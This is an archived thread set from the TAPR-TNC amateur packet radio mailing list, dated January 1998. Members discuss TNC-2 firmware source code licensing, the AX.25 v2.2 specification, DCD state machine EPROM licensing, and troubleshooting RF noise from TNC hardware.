>From: "Mark A. Downing" <wm7d@wm7d.net> (by way of "Dorothy Jones, KA5DWR"
> <ka5dwr@tapr.org>) (by way of Greg Jones, WD5IVD)
>To: "Howard Goldstein"<hg@n2wx.ampr.org>
>Subject: tnc2 v1.1.8a
>Date: Wed, 31 Dec 1997 03:26:43 -0600
>
>Could someone tell me what the checksum should display for v1.1.8a
>
>The docs only refer to 1.1.8 and I believe that the refer to an old
>checksum value.
>
>- --Mark (WM7D)
>
>------- end -------

2. (no subject)

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Thu, 1 Jan 1998 00:00:02 -0500
To: tapr-tnc@tapr.org
Message-ID: <199801010500.AAA00676@penny.n2wx.ampr.org>
Rendered body type: text/plain

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ADMINISTRIVIA
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```

```
73 Howie N2WX
```

January 1998

Original source file: tapr-tnc.9801
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9801

1. Source code request

From: Byron Smith <wa6ylb@theworks.com>
Date: Tue, 30 Dec 1997 17:25:58 -0800
To: tapr-tnc@tapr.org
Message-ID: <3.0.1.16.19971230172558.45675052@theworks.com>
Rendered body type: text/plain

Question: Is it possible to get a source code listing for any of the
eariler tapr versions for the TNC2 tnc?

Byron Smith
wa6ylb@theworks.com - Webpage: http://www.theworks.com/~wa6ylb
wa6ylb@wa6ylb.#cca.ca.usa.noam

... Do radioactive cats have 18 half-lives?

---

2. [TAPR-TNC:419] Source code request

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Thu, 1 Jan 1998 15:01:39 -0500
To: tapr-tnc@tapr.org
Message-ID: <199801012001.PAA01527@penny.n2wx.ampr.org>
Rendered body type: text/plain

Byron Smith writes:
 > Question: Is it possible to get a source code listing for any of the
 > eariler tapr versions for the TNC2 tnc?

Probably not legally without a TAPR or IMI license agreement.

---

3. Re: [TAPR-TNC:420] Source code request

From: Bill Vodall <wa7nwp@bigsky.com>
Date: Thu, 1 Jan 1998 14:47:47 -0800 (PST)
To: tapr-tnc@tapr.org
Message-ID: <199801012247.OAA26242@eagle.bigsky.com>
Rendered body type: text/plain

>
> Byron Smith writes:
> > Question: Is it possible to get a source code listing for any of the
> > eariler tapr versions for the TNC2 tnc?
>
> Probably not legally without a TAPR or IMI license agreement.
>

A Public Domain or GPL TNC2 software package would be a GREAT
thing. Lots of neat potential applications and no way to easily
leverage the existing hardware.

Hmm. Maybe with the X1J source as a starter something could be done.

Bill - WA7NWP

---

4. Re: [TAPR-TNC:420] Source code request

From: Byron Smith <wa6ylb@theworks.com>
Date: Tue, 30 Dec 1997 23:56:16 -0800
To: tapr-tnc@tapr.org
Message-ID: <3.0.1.16.19971230235616.0d0f34ea@theworks.com>
Rendered body type: text/plain

At 03:43 PM 1/1/98 -0600, you wrote:
>Byron Smith writes:
> > Question: Is it possible to get a source code listing for any of the
> > eariler tapr versions for the TNC2 tnc?
>
>Probably not legally without a TAPR or IMI license agreement.
>
>

and I suppose that license is still about 5K bucks?

Byron Smith
wa6ylb@theworks.com - Webpage: http://www.theworks.com/~wa6ylb
wa6ylb@wa6ylb.#cca.ca.usa.noam

... Do radioactive cats have 18 half-lives?

5. Re: [TAPR-TNC:421] Re: Source code request

From: Byron Smith <wa6ylb@theworks.com>
Date: Tue, 30 Dec 1997 23:58:32 -0800
To: tapr-tnc@tapr.org
Message-ID: <3.0.1.16.19971230235832.4567f3a4@theworks.com>
Rendered body type: text/plain

>
>A Public Domain or GPL TNC2 software package would be a GREAT
>thing. Lots of neat potential applications and no way to easily
>leverage the existing hardware.
>
>Hmm. Maybe with the X1J source as a starter something could be done.
>
>Bill - WA7NWP
>

I wonder - is that availible too? I sure enjoyed the orginal vancouver
code. I think I have it around it here somewhere.. I think. (on my cp/m
disks I believe)

Byron Smith
wa6ylb@theworks.com - Webpage: http://www.theworks.com/~wa6ylb
wa6ylb@wa6ylb.#cca.ca.usa.noam

... Do radioactive cats have 18 half-lives?

6. [Fwd: [APRSa4] KA4TAR Iphone Conference for APRS.]

From: Darrell Sperry <ka4tar@worldnet.att.net>
Date: Thu, 01 Jan 1998 20:03:31 -0500
To: "tapr-tnc@tapr.org" <tapr-tnc@tapr.org>
Message-ID: <34AC3CE1.BBFE2460@worldnet.att.net>
Rendered body type: text/plain

[Empty message body]

7. Re: [TAPR-TNC:422] Re: Source code request

From: "Greg Jones, WD5IVD" <wd5ivd@tapr.org>
Date: Fri, 2 Jan 1998 01:21:42 -0600
To: tapr-tnc@tapr.org
Message-ID: <v0313030ab0d24246d3c8@[206.138.226.150]>
Rendered body type: text/plain

>At 03:43 PM 1/1/98 -0600, you wrote:
>>Byron Smith writes:
>> > Question: Is it possible to get a source code listing for any of the
>> > eariler tapr versions for the TNC2 tnc?
>>
>>Probably not legally without a TAPR or IMI license agreement.
>>
>>
>
>and I suppose that license is still about 5K bucks?
>

This is a common misconception. TAPR can only license the executable of
the image for commerical and amateur placement in products. TAPR never had
control of the source code. We also get to make available EPROMs of the
current 1.1.9 via the office, by our agreement with IMI doesn't allow us to
place that image on-line.

Like many TAPR projects today, a member, a group, or whatever retains the
copyright to the code that is placed in a TAPR kit and TAPR works a deal so
that the code can be made available in at least executable form as part of
the kit free. The DSP-93 was like this. A majority of the code source was
made available, but just a few of the code segments didn't make it
available as source because the owner wanted to do something else with it.
The upcoming DGPS reference station is going to be like this. I am sure
the author will not release the source code, because of the commercial
possibilities of the work, but will allow TAPR to make it available to

members at an affordable non-commercial price (i.e. less than $200, when the commercial version will probably go for $1000). The TrackBox kit when it was being done had the source kept closed by the author in Japan. Then again, all the source for the DevMeter and METCON-1 was available and I am sure the OS for the new TUC-52 will probably be made available. So, you never know. Each TAPR project is unique and depends a lot on what the writer of the code wants to do with all that work afterwards.

IMI holds all rights to the TAPR TNC-2 source code and based on your comment above you would be surprised how much access to the source is still worth. A lot more then $5,000.

If you are looking for AX.25 source code, there are plenty of implementations around. X1J, KA9Q, PMP, and probably a few others by now. Although you will find each to be a little different.

The new AX.25 document is on-line on the TAPR web page and contains state diagrams of how all of it works. Although, we have found that some of the diagram pages are not printing correctly in pdf format. Discussing this with Adobe to figure out the problem.

Cheers - Greg

Greg Jones, WD5IVD
Austin, Texas
wd5ivd@tapr.org
http://www.tapr.org/~wd5ivd

8. Re: [TAPR-TNC:425] Re: Source code request

From: Bill Beech <bbeech@ods.com>
Date: Tue, 06 Jan 1998 14:50:59 -0600
To: tapr-tnc@tapr.org
Message-ID: <34B29933.CB2641E4@ods.com>
Rendered body type: text/plain

Greg Jones, WD5IVD wrote:

> >At 03:43 PM 1/1/98 -0600, you wrote:
> >>Byron Smith writes:
> >> > Question: Is it possible to get a source code listing for any of
> the
> >> > eariler tapr versions for the TNC2 tnc?
> >>
> >>Probably not legally without a TAPR or IMI license agreement.
> >>
> >>
> >
> >and I suppose that license is still about 5K bucks?
> >
>
> This is a common misconception. TAPR can only license the executable
> of
> the image for commerical and amateur placement in products. TAPR
> never had
> control of the source code. We also get to make available EPROMs of
> the
> current 1.1.9 via the office, by our agreement with IMI doesn't allow
> us to
> place that image on-line.
>
> Like many TAPR projects today, a member, a group, or whatever retains
> the
> copyright to the code that is placed in a TAPR kit and TAPR works a
> deal so
> that the code can be made available in at least executable form as
> part of
> the kit free. The DSP-93 was like this. A majority of the code
> source was
> made available, but just a few of the code segments didn't make it
> available as source because the owner wanted to do something else with
> it.
> The upcoming DGPS reference station is going to be like this. I am
> sure
> the author will not release the source code, because of the commercial
>
> possibilities of the work, but will allow TAPR to make it available to
>

> members at an affordable non-commercial price (i.e. less than $200,
> when
> the commercial version will probably go for $1000). The TrackBox kit
> when
> it was being done had the source kept closed by the author in Japan.
> Then
> again, all the source for the DevMeter and METCON-1 was available and
> I am
> sure the OS for the new TUC-52 will probably be made available. So,
> you
> never know. Each TAPR project is unique and depends a lot on what the
>
> writer of the code wants to do with all that work afterwards.
>
> IMI holds all rights to the TAPR TNC-2 source code and based on your
> comment above you would be surprised how much access to the source is
> still
> worth. A lot more then $5,000.
>
> If you are looking for AX.25 source code, there are plenty of
> implementations around. X1J, KA9Q, PMP, and probably a few others by
> now.
> Although you will find each to be a little different.
>
> The new AX.25 document is on-line on the TAPR web page and contains
> state
> diagrams of how all of it works. Although, we have found that some of
> the
> diagram pages are not printing correctly in pdf format. Discussing
> this
> with Adobe to figure out the problem.
>
> Cheers - Greg
>
> -----
> Greg Jones, WD5IVD
> Austin, Texas
> wd5ivd@tapr.org
> http://www.tapr.org/~wd5ivd

Remember, we had source code for this as well. Doug and I were
discussing possibly porting this to compile under the GNU C compiler for
DOS or just move to LINUX with it. It was working in the "TNC-3" and on
PC's with DRSI cards. I suspect that source code with a GNU type
license would still be a benifit to the packet community. The question
remains one of platform and interface.... Any idea which way to go on
this?

I have a coax page at http://hereford.ampr.org which contains some data
on hardline and some measured data on older thicknet ethernet cable. It
beats rg-213/14 in performance and with 4 shield, is non-radiating, when
properly matched. Feel free to use whatever you can from that page.

Well wait to make any mention of source code to group until after we get
the document "published". Still comparing the web document to the
several version of the document I have here. Also, will try to generate
the last version of the state diagrams. I know there were some changes
here. I believe you had to redo each and every diagram so hardcopy may
be the best means of transmission... Need your mailing address...

73
Bill

--
Bill Beech, NJ7P   ODS Networks, Inc.
Computer Engineer   1101 E. Arapaho Road
SMTP: bbeech@ods.com   Richardson, Texas 75081
ICBM: N 32 57' 41" W 96 42' 19"
E-164: 972.234.6400 (Voice)/972.234.4059 (FAX)
              Extreme Access ... Infinite Possibilities

9. Re: [TAPR-TNC:425] Re: Source code request

From: David Kelly <dkelly@hiwaay.net>
Date: Tue, 06 Jan 1998 20:26:21 -0600
To: tapr-tnc@tapr.org
Message-ID: <199801070226.UAA01225@nospam.hiwaay.net>
Rendered body type: text/plain

Greg Jones, WD5IVD writes:
>
> The new AX.25 document is on-line on the TAPR web page and contains state
> diagrams of how all of it works. Although, we have found that some of the
> diagram pages are not printing correctly in pdf format. Discussing this
> with Adobe to figure out the problem.

I'd be interested in the above document. Care to provide an exact URL?
Wasn't able to find it starting at http://www.tapr.org.

--
David Kelly N4HHE, dkelly@nospam.hiwaay.net
==
The human mind ordinarily operates at only ten percent of its
capacity -- the rest is overhead for the operating system.

10. Re: [TAPR-TNC:425] Re: Source code request

From: David Kelly <dkelly@hiwaay.net>
Date: Tue, 06 Jan 1998 20:41:25 -0600
To: tapr-tnc@tapr.org
Message-ID: <199801070241.UAA01464@nospam.hiwaay.net>
Rendered body type: text/plain

> The new AX.25 document is on-line on the TAPR web page and contains state
> diagrams of how all of it works. Although, we have found that some of the
> diagram pages are not printing correctly in pdf format. Discussing this
> with Adobe to figure out the problem.

Yup, that good old tried and true Ham find-it method worked perfectly.
Spend 30 minutes trying to find something, publicly open your mouth and
ask for help. Then One More Try finds it every time:

http://www.tapr.org/tapr/html/ax25.html and
http://www.tapr.org/tapr/pdf/AX25.2.2.pdf

--
David Kelly N4HHE, dkelly@nospam.hiwaay.net
==
The human mind ordinarily operates at only ten percent of its
capacity -- the rest is overhead for the operating system.

11. Re: [TAPR-TNC:427] Re: Source code request

From: "Greg Jones, WD5IVD" <wd5ivd@tapr.org>
Date: Tue, 6 Jan 1998 22:32:53 -0600
To: tapr-tnc@tapr.org
Message-ID: <v0313030db0d8b5151fe1@[208.134.134.40]>
Rendered body type: text/plain

Just look under the Packet Radio Home Page link or do a search with the
find button.

http://www.tapr.org/tapr/html/pkthome.html

Cheers - Greg

>Greg Jones, WD5IVD writes:
>>
>> The new AX.25 document is on-line on the TAPR web page and contains state
>> diagrams of how all of it works. Although, we have found that some of the
>> diagram pages are not printing correctly in pdf format. Discussing this
>> with Adobe to figure out the problem.
>
>I'd be interested in the above document. Care to provide an exact URL?
>Wasn't able to find it starting at http://www.tapr.org.
>
>
>
>--
>David Kelly N4HHE, dkelly@nospam.hiwaay.net
>==
>The human mind ordinarily operates at only ten percent of its
>capacity -- the rest is overhead for the operating system.

Greg Jones, WD5IVD

Austin, Texas
wd5ivd@tapr.org
http://www.tapr.org/~wd5ivd

Any sufficiently advanced technology is indistinguishable from
a rigged demo.

12. AX.25 version 2.2 pdf updated

From: "Greg Jones, WD5IVD" <wd5ivd@tapr.org>
Date: Wed, 7 Jan 1998 05:31:11 -0600
To: " tapr-tnc "<tapr-tnc@tapr.org>,
"TAPR-BB list mailing"<tapr-bb@tapr.org>
Message-ID: <v03130316b0d917493615@[208.134.134.40]>
Rendered body type: text/plain

We finally got the information from Adobe on why some of the pages where
not being generated correctly in pdf format from Pagemaker.

So, the AX.25 version 2.2 file (http://www.tapr.org/tapr/pdf/AX25.2.2.pdf)
now shows all the graphics and diagrams. This link is available at
http://www.tapr.org/tapr/html/ax25.html

For those who downloaded the previous version, you will want to download
the corrected version.

Cheers - Greg

Greg Jones, WD5IVD
Austin, Texas
wd5ivd@tapr.org
http://www.tapr.org/~wd5ivd

Any sufficiently advanced technology is indistinguishable from
a rigged demo.

13. HAPN-2 PC CARD

From: n8vna@juno.com
Date: Wed, 07 Jan 1998 20:24:16 EST
To: tapr-tnc@tapr.org
Message-ID: <19980107.192043.3150.1.n8vna@juno.com>
Rendered body type: text/plain

Does anyone out there in packeteerland use or have any knowledge of the
HAPN-2 card? Such as, is it a true TNC-2 clone?

-73's de Jeff N8VNA

14. Re: [TAPR-TNC:430] AX.25 version 2.2 pdf updated

From: David Kelly <dkelly@hiwaay.net>
Date: Wed, 07 Jan 1998 21:08:32 -0600
To: tapr-tnc@tapr.org
Message-ID: <199801080308.VAA09438@nospam.hiwaay.net>
Rendered body type: text/plain

> We finally got the information from Adobe on why some of the pages where
> not being generated correctly in pdf format from Pagemaker.
>
> So, the AX.25 version 2.2 file (http://www.tapr.org/tapr/pdf/AX25.2.2.pdf)
> now shows all the graphics and diagrams. This link is available at
> http://www.tapr.org/tapr/html/ax25.html
>
> For those who downloaded the previous version, you will want to download
> the corrected version.

You're welcome. I figure this only happened because of the effort I
made yesterday to download the buggy one. :-)

Hmmm: new one is 2144k and old was 1664k.

And thanks for posting the complete URL.

--
David Kelly N4HHE, dkelly@nospam.hiwaay.net
==========
The human mind ordinarily operates at only ten percent of its
capacity -- the rest is overhead for the operating system.

15. Paccom Tiny-2 rev. 1.2 vs. 1.6

From: n2ygk@weca.org
Date: Wed, 14 Jan 98 0:44:24 EST
To: tapr-tnc@tapr.org
Message-ID: <CMM.0.90.4.884756664.alan@watsol>
Rendered body type: text/plain

Hello,

I have been working with some Paccomm Tiny-2's hardware rev 1.2. My
prior experience was with a rev. 1.6 Tiny-2. Can anyone summarize the
significant differences if any? I do believe one is the 1.6 has a jumper
for hi vs. lo input impedance (e.g. audio from speaker vs. audio from
a hi-Z source). Are there other differences?

Thanks & 73 de Alan N2YGK
n2ygk@weca.org

---

16. Legal to upgrade state 1.09 to 2.00?

From: n2ygk@weca.org
Date: Wed, 14 Jan 98 0:51:03 EST
To: tapr-tnc@tapr.org
Message-ID: <CMM.0.90.4.884757063.alan@watsol>
Rendered body type: text/plain

I noticed when comparing my Paccomm Tiny-2 (HW rev 1.6) to some Paccomm
Tiny-2 (HW rev 1.2) that had 1.09 dcd state machines that my unit, with
a 2.00 dcd state machine is significantly better at detecting packets.
>From searching the mail archive I see a passing mention in 1995 that 2.00
is better than 1.09 in this respect. I also saw a question regarding
an eprom image for 2.00 to upgrade.

Before I go ahead and do this,
1. Is it legal or is there some TAPR license agreement with the author
   that requires me to purchase the eprom?
2. Assuming it's legal, is the dcd state board the same hardware otherwise?

73 de Alan N2YGK
n2ygk@weca.org

---

17. Re: [TAPR-TNC:434] Legal to upgrade state 1.09 to 2.00?

From: "Greg Jones, WD5IVD" <wd5ivd@tapr.org>
Date: Wed, 14 Jan 1998 10:15:16 -0600
To: tapr-tnc@tapr.org
Message-ID: <v03130305b0e29443cb3b@[208.134.134.40]>
Rendered body type: text/plain

The State Machine 2.0 is available for non-commercial use by individual Radio
Amateurs and commercial folks ony have to ask, since the goal of the DCD
project years ago was to make it available as widely as possible for free.

The State Machine is even available on the ftp site along with all the 9600
baud modem firmware. ftp://ftp.tapr.org/tapr/info/kits/9600.ZIP and
probably in another place or two on the TAPR site.

This stuff is pretty old, since it has been shipping with the 9600baud
modem kit and DCD state machine kit since 1991.

Cheers - Greg

Here is the text you will find in the EPROM. You can tell how old it is,
we don't even bother with updating the address and stuff.

Clock Recovery, DCD, and NRZI to NRZ data converter State Machine
Version 2.00 - 91.10.31
Copyright (c) 1991 Tucson
Amateur Packet Radio, Inc.

Licensed Radio Amateurs may modify, copy, and/or distribute this work --
without compensation of any kind -- for noncommercial use by individual Radio
Amateurs. Aside from this exception, no part of this work or its derivatives
may be reproduced or distributed, in any form, without written permission from
the copyright owner.

For information about this code please contact:
Tucson Amateur Packet Radio
Post Office Box 12925

Tucson, AZ 85734
+1-1-602-749-9479

Version 2 replaces (and is in part based on) previous version 1.09. Changes
were implemented by Eric Gustafson N7CL. Version 2 centers the recovered clock
on the asyncronous incoming data bit periods for use in 9600 baud modems. One
stable lock state was eliminated to reduce recovered clock jitter.

>I noticed when comparing my Paccomm Tiny-2 (HW rev 1.6) to some Paccomm
>Tiny-2 (HW rev 1.2) that had 1.09 dcd state machines that my unit, with
>a 2.00 dcd state machine is significantly better at detecting packets.
>>From searching the mail archive I see a passing mention in 1995 that 2.00
>is better than 1.09 in this respect. I also saw a question regarding
>an eprom image for 2.00 to upgrade.
>
>Before I go ahead and do this,
>1. Is it legal or is there some TAPR license agreement with the author
>   that requires me to purchase the eprom?
>2. Assuming it's legal, is the dcd state board the same hardware otherwise?
>
>73 de Alan N2YGK
>n2ygk@weca.org

Greg Jones, WD5IVD
Austin, Texas
wd5ivd@tapr.org
http://www.tapr.org/~wd5ivd

Any sufficiently advanced technology is indistinguishable from
a rigged demo.

18. [Fwd: [APRSa4] KA4TAR Iphone Conference for APRS.]

From: Darrell Sperry <ka4tar@worldnet.att.net>
Date: Mon, 19 Jan 1998 20:30:52 -0500
To: aprs-fl <aprs-fl@tapr.org>
Cc: "aprsa4@k8sn.org" <aprsa4@k8sn.org>,
        Reginald A Harrison <r.a.harrison@juno.com>,
        Scott Kelly <sekelly2@worldnet.att.net>,
        "tapr-tnc@tapr.org" <tapr-tnc@tapr.org>
Message-ID: <34C3FE4C.D40E1CD2@worldnet.att.net>
Rendered body type: text/plain

[Empty message body]

19. NOISY TAPR DCD MODULE

From: rbenny@cbcph.navy.mil
Date: Wed, 21 Jan 98 12:31:33 PST
To: tapr-tnc@tapr.org
Message-ID: <vines.zY49+ZgZloA@bansmtp.cbcph.navy.mil>
Rendered body type: text/plain

I've had a Tiny2 with an X1JR4 Netrom installed and running (along with two
other Netrom TNC/radios) on a hilltop. Recently, one link had not been
running well, so I checked it out several weeks ago. I pulled the speaker
jack out of a Midland 13-509, set for 223.XX mhz and heard a loud digital
noise, guessing S7.
If I turned off the TNC, the noise went away. Turning on the TNC, the noise
is back. I tried moving the TNC further away, only 6 - 10 inches because of
the cable lengths, but it made no difference.
I disconnected the TNC/radio and took them home. I did further simular
tests at home, the same noise was present. I also connected the TNC to an
ICOM 220mhz radio on the same frequency, same noise, although noise was not
quite as bad, perhaps S5.
I sent the TNC to Paccomm and they determined (as I thought) that the TAPR
DCD unit that I had installed was creating the noise. They pulled it out
and installed their own DCD unit. All is fine now, no noise and the
TNC/Radio are back on site working fine.
Has anyone else had this problem? Is there a cure? I don't want to use this
TAPR DCD unit until I get some answers. Any suggestions?
Ray, N6VR

20. Re: [TAPR-TNC:437] NOISY TAPR DCD MODULE

From: "Greg Jones, WD5IVD" <wd5ivd@tapr.org>
Date: Wed, 21 Jan 1998 15:20:02 -0600
To: tapr-tnc@tapr.org

Message-ID: <v0313031cb0ec16bf42ff@[208.134.134.40]>
Rendered body type: text/plain

Hi Ray.

After several thousand of these kits being sold, we have never had a report
like this before.

My only guess would that a component on the kit has gone bad over time ?

Maybe someone else has a suggestion ?

Cheers - Greg
TAPR

>I've had a Tiny2 with an X1JR4 Netrom installed and running (along with two
>other Netrom TNC/radios) on a hilltop. Recently, one link had not been
>running well, so I checked it out several weeks ago. I pulled the speaker
>jack out of a Midland 13-509, set for 223.XX mhz and heard a loud digital
>noise, guessing S7.
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>I disconnected the TNC/radio and took them home. I did further simular
>tests at home, the same noise was present. I also connected the TNC to an
>ICOM 220mhz radio on the same frequency, same noise, although noise was not
>quite as bad, perhaps S5.
>I sent the TNC to Paccomm and they determined (as I thought) that the TAPR
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>and installed their own DCD unit. All is fine now, no noise and the
>TNC/Radio are back on site working fine.
>Has anyone else had this problem? Is there a cure? I don't want to use this
>TAPR DCD unit until I get some answers. Any suggestions?
>Ray, N6VR

Greg Jones, WD5IVD
Austin, Texas
wd5ivd@tapr.org
http://www.tapr.org/~wd5ivd

Any sufficiently advanced technology is indistinguishable from
a rigged demo.

21. Re: [TAPR-TNC:437] NOISY TAPR DCD MODULE

From: "Ronald G. Parsons" <w5rkn@amsat.org>
Date: Wed, 21 Jan 1998 21:31:45 +0000
To: tapr-tnc@tapr.org
Message-ID: <34C6693F.DC29712@amsat.org>
Rendered body type: text/plain

I have in my TNC-NB96 (a Tiny 2 plus 9600) both a PacComm DCD and a TAPR DCD
plugged into the second DCD port. The TAPR board is external and unshielded.
No interference is noted.

Ron

rbenny@cbcph.navy.mil wrote:
>
> I've had a Tiny2 with an X1JR4 Netrom installed and running (along with two
> other Netrom TNC/radios) on a hilltop. Recently, one link had not been
> running well, so I checked it out several weeks ago. I pulled the speaker
> jack out of a Midland 13-509, set for 223.XX mhz and heard a loud digital
> noise, guessing S7.
> If I turned off the TNC, the noise went away. Turning on the TNC, the noise
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> quite as bad, perhaps S5.
> I sent the TNC to Paccomm and they determined (as I thought) that the TAPR
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> TNC/Radio are back on site working fine.
> Has anyone else had this problem? Is there a cure? I don't want to use this
> TAPR DCD unit until I get some answers. Any suggestions?
> Ray, N6VR

--
Ron W5RKN

also:
rparsons@bga.com

22. KAM TNC Noise

From: RANaylor <RANaylor@aol.com>
Date: Wed, 21 Jan 1998 18:30:29 EST
To: tapr-tnc@tapr.org
Message-ID: <ac9b58d5.34c68522@aol.com>
Rendered body type: text/plain

I am operating a MSYS BBS in NW Arkansas and I am using KAM KPC-3's
and KAM Allmodes for my system TNC's. On one of my frequencies, 146.61
there is a birdie that stays at about S2 to S3 and is there all the time.
When
I turn off the TNC, the birdie goes away. Doesn't happen on any other
frequency
except 145.61. Since most of my forwarding is on that frequency, any ideas on
how to overcome the birdie. Running Software control interfacing, since
hardware
type interfacing won't let any signal thru. Have tried separating the TNC
from
the radio and that doesn't seem to work either.

Anyone have any ideas on what I can do to fix the problem?

Richard
KC5LRS
RANaylor@aol.com

23. Re: [TAPR-TNC:438] Re: NOISY TAPR DCD MODULE

From: Byron Smith <wa6ylb@theworks.com>
Date: Wed, 21 Jan 1998 18:09:50 -0800
To: tapr-tnc@tapr.org
Message-ID: <3.0.5.16.19980121180950.2ad7567e@theworks.com>
Rendered body type: text/plain

I wonder if TAPR folks would like to see that module back...

At 03:27 PM 1/21/98 -0600, you wrote:
>Hi Ray.
>
>After several thousand of these kits being sold, we have never had a report
>like this before.
>
>My only guess would that a component on the kit has gone bad over time ?
>
>Maybe someone else has a suggestion ?
>
>Cheers - Greg
>TAPR
>
>>I've had a Tiny2 with an X1JR4 Netrom installed and running (along with two
>>other Netrom TNC/radios) on a hilltop. Recently, one link had not been
>>running well, so I checked it out several weeks ago. I pulled the speaker
>>jack out of a Midland 13-509, set for 223.XX mhz and heard a loud digital
>>noise, guessing S7.
>>If I turned off the TNC, the noise went away. Turning on the TNC, the noise
>>is back. I tried moving the TNC further away, only 6 - 10 inches because of
>>the cable lengths, but it made no difference.
>>I disconnected the TNC/radio and took them home. I did further simular
>>tests at home, the same noise was present. I also connected the TNC to an
>>ICOM 220mhz radio on the same frequency, same noise, although noise was not
>>quite as bad, perhaps S5.
>>I sent the TNC to Paccomm and they determined (as I thought) that the TAPR
>>DCD unit that I had installed was creating the noise. They pulled it out
>>and installed their own DCD unit. All is fine now, no noise and the
>>TNC/Radio are back on site working fine.
>>Has anyone else had this problem? Is there a cure? I don't want to use this
>>TAPR DCD unit until I get some answers. Any suggestions?
>>Ray, N6VR
>
>
>-----
>Greg Jones, WD5IVD

>Austin, Texas
>wd5ivd@tapr.org
>http://www.tapr.org/~wd5ivd
>
>Any sufficiently advanced technology is indistinguishable from
>a rigged demo.
>
>
>

Byron Smith
wa6ylb@theworks.com - Webpage: http://www.theworks.com/~wa6ylb
wa6ylb@wa6ylb.#cca.ca.usa.noam

... Do radioactive cats have 18 half-lives?

24. Re: [TAPR-TNC:440] KAM TNC Noise

From: Larry Pollock <n5xbm@cq.net>
Date: Wed, 21 Jan 1998 22:43:29 -0600
To: tapr-tnc@tapr.org
Message-ID: <3.0.32.19980121224326.006c1acc@cq.net>
Rendered body type: text/plain

Had similuar problem. Found tht RF noise was being generated
by the cable from the serial port of the computer to the TNC.
Used torrid cores on the cables to the computer and the radios and
it went away.
Just an idea you might try.
Larry Pollock
N5XBM
Arlington, Tx

At 07:53 PM 1/21/1998 -0600, you wrote:
>I am operating a MSYS BBS in NW Arkansas and I am using KAM KPC-3's
>and KAM Allmodes for my system TNC's. On one of my frequencies, 146.61
>there is a birdie that stays at about S2 to S3 and is there all the time.
>When
>I turn off the TNC, the birdie goes away. Doesn't happen on any other
>frequency
>except 145.61. Since most of my forwarding is on that frequency, any ideas on
>how to overcome the birdie. Running Software control interfacing, since
>hardware
>type interfacing won't let any signal thru. Have tried separating the TNC
>from
>the radio and that doesn't seem to work either.
>
>Anyone have any ideas on what I can do to fix the problem?
>
>Richard
>KC5LRS
>RANaylor@aol.com
>
>
Larry Pollock - N5XBM

25. Re: [TAPR-TNC:441] Re: NOISY TAPR DCD MODULE

From: Harry Burford <hburford@airmail.net>
Date: Wed, 21 Jan 1998 23:02:55 -0600
To: tapr-tnc@tapr.org
Message-ID: <34C6D2FE.ADA26166@airmail.net>
Rendered body type: text/plain

I had ordered several DCD kits from PacComm some time ago to update my old TNC-2
units. I had a DOA kit and later learned that it was an older version. Can't
remember what the difference was, or how you can tell. But, I do remember that
you just about had to have a magnifier on the PCB in order to find the
difference. PacComm replaced the kit and everything worked OK. I know that
doesn't help you with your noise problem, but might indicate that there can be
differences in DCD modules.

Byron Smith wrote:

> I wonder if TAPR folks would like to see that module back...
>
> At 03:27 PM 1/21/98 -0600, you wrote:
> >Hi Ray.
> >
> >After several thousand of these kits being sold, we have never had a report

> >like this before.
> >
> >My only guess would that a component on the kit has gone bad over time ?
> >
> >Maybe someone else has a suggestion ?
> >
> >Cheers - Greg
> >TAPR
> >
> >>I've had a Tiny2 with an X1JR4 Netrom installed and running (along with two
> >>other Netrom TNC/radios) on a hilltop. Recently, one link had not been
> >>running well, so I checked it out several weeks ago. I pulled the speaker
> >>jack out of a Midland 13-509, set for 223.XX mhz and heard a loud digital
> >>noise, guessing S7.
> >>If I turned off the TNC, the noise went away. Turning on the TNC, the noise
> >>is back. I tried moving the TNC further away, only 6 - 10 inches because of
> >>the cable lengths, but it made no difference.
> >>I disconnected the TNC/radio and took them home. I did further simular
> >>tests at home, the same noise was present. I also connected the TNC to an
> >>ICOM 220mhz radio on the same frequency, same noise, although noise was not
> >>quite as bad, perhaps S5.
> >>I sent the TNC to Paccomm and they determined (as I thought) that the TAPR
> >>DCD unit that I had installed was creating the noise. They pulled it out
> >>and installed their own DCD unit. All is fine now, no noise and the
> >>TNC/Radio are back on site working fine.
> >>Has anyone else had this problem? Is there a cure? I don't want to use this
> >>TAPR DCD unit until I get some answers. Any suggestions?
> >>Ray, N6VR
> >
> >
> >-----
> >Greg Jones, WD5IVD
> >Austin, Texas
> >wd5ivd@tapr.org
> >http://www.tapr.org/~wd5ivd
> >
> >Any sufficiently advanced technology is indistinguishable from
> >a rigged demo.
> >
> >
> >
>
> Byron Smith
> wa6ylb@theworks.com - Webpage: http://www.theworks.com/~wa6ylb
> wa6ylb@wa6ylb.#cca.ca.usa.noam
>
> .. Do radioactive cats have 18 half-lives?

26. Re: [TAPR-TNC:440] KAM TNC Noise

From: Harry Burford <hburford@airmail.net>
Date: Wed, 21 Jan 1998 23:06:28 -0600
To: tapr-tnc@tapr.org
Message-ID: <34C6D3D3.B29A8129@airmail.net>
Rendered body type: text/plain

I seem to remember an adjustment pot on the TNC2 boards that provided a small
frequency shift of the clock in order to move birdies a tad off frequency if
necessary. Not sure if the KPC3 has that.

hb

RANaylor wrote:

> I am operating a MSYS BBS in NW Arkansas and I am using KAM KPC-3's
> and KAM Allmodes for my system TNC's. On one of my frequencies, 146.61
> there is a birdie that stays at about S2 to S3 and is there all the time.
> When
> I turn off the TNC, the birdie goes away. Doesn't happen on any other
> frequency
> except 145.61. Since most of my forwarding is on that frequency, any ideas on
> how to overcome the birdie. Running Software control interfacing, since
> hardware
> type interfacing won't let any signal thru. Have tried separating the TNC
> from
> the radio and that doesn't seem to work either.
>
> Anyone have any ideas on what I can do to fix the problem?
>

> Richard
> KC5LRS
> RANaylor@aol.com

27. Re: [TAPR-TNC:442] Re: KAM TNC Noise

From: bobsmith@i2020.net (Robert L Smith)
Date: Thu, 22 Jan 1998 09:06:01 -0500
To: tapr-tnc@tapr.org
Message-ID: <19980122141756.AAB20193@OZZIE>
Rendered body type: text/plain

At 10:45 PM 1/21/98 -0600, you wrote:
>
>   Had similuar problem. Found tht RF noise was being generated
>by the cable from the serial port of the computer to the TNC.
>Used torrid cores on the cables to the computer and the radios and
>it went away.
>Just an idea you might try.
>Larry Pollock
>N5XBM
>Arlington, Tx
>
>At 07:53 PM 1/21/1998 -0600, you wrote:
>>I am operating a MSYS BBS in NW Arkansas and I am using KAM KPC-3's
